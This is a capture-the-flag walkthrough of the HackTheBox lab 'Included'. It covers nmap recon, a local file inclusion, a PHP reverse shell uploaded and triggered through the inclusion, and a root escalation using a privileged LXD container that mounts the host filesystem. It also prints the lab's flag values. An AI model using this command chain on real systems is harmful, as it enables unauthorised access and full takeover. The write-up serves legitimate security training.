HackTheBox – Included (Walkthrough)

Date Completed: 23 Aug 2025
Difficulty: Easy
Objective: Capture the user.txt and root.txt flags.

---

1. Reconnaissance

Nmap Scan

We began with a TCP scan to identify open ports and services:

nmap -sC -sV -oN included_scan.txt 10.129.95.185

- **Port 80** – Apache httpd
- **Port 22** – OpenSSH

Web Enumeration

Browsing to http://10.129.95.185 revealed a **PHP application**.

Running gobuster showed interesting PHP files. One of them was vulnerable to **Local File Inclusion (LFI).**

---

2. Exploitation (Foothold)

Using the vulnerable PHP file parameter (?file=), we confirmed LFI by reading /etc/passwd:

curl "http://10.129.95.185/?file=/etc/passwd"

With this foothold, we uploaded a **PHP reverse shell** into /var/lib/tftpboot/shell.php and executed it:

curl "http://10.129.95.185/?file=/var/lib/tftpboot/shell.php"

Got a shell back on the target. 🎉

---

3. User Shell

We upgraded the shell to a stable TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Checked who we were:

id

uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)

We landed as user **mike**, who also belonged to the **lxd group** → this hinted at an **LXD container privilege escalation**.

---

4. Privilege Escalation via LXD

4.1 Preparing Alpine Image on Attack Box

On our attack box, we created a share directory and downloaded Alpine images:

mkdir ~/alpine-share

cd ~/alpine-share

wget http://images.linuxcontainers.org/images/alpine/3.19/amd64/default/20250822_0050/lxd.tar.xz

wget http://images.linuxcontainers.org/images/alpine/3.19/amd64/default/20250822_0050/rootfs.squashfs

We served them via Python web server:

python3 -m http.server 8000

4.2 Transferring Image to Target

On the target (as mike):

cd /tmp

wget http://10.10.14.20:8000/lxd.tar.xz

wget http://10.10.14.20:8000/rootfs.squashfs

4.3 Importing Alpine into LXD

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

lxc image list

Confirmed Alpine was imported.

4.4 Spawning Privileged Container

We initialized a privileged container and mounted the host root filesystem:

lxc init alpine privesc -c security.privileged=true

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

lxc start privesc

lxc exec privesc /bin/sh

Now we had root inside the container with access to the **host filesystem** mounted at /mnt/root.

---

5. Looting the Flags

User Flag

Navigated to mike's home directory on the host:

cd /mnt/root/home/mike

cat user.txt

📌 a56ef91d70cfbf2cdb8f454c006935a1

Root Flag

Navigated to the root directory:

cd /mnt/root/root

cat root.txt

📌 c693d9c7499d9f572ee375d4c14c7bcf

Key Takeaways

- **LFI → RCE** is still a common attack chain.
- Always check **groups** (id) – membership in **lxd**, **docker**, etc. usually means root privesc.

- Alpine is a lightweight container image perfect for privilege escalation.

✅ **Box Completed – Both User + Root flags captured.**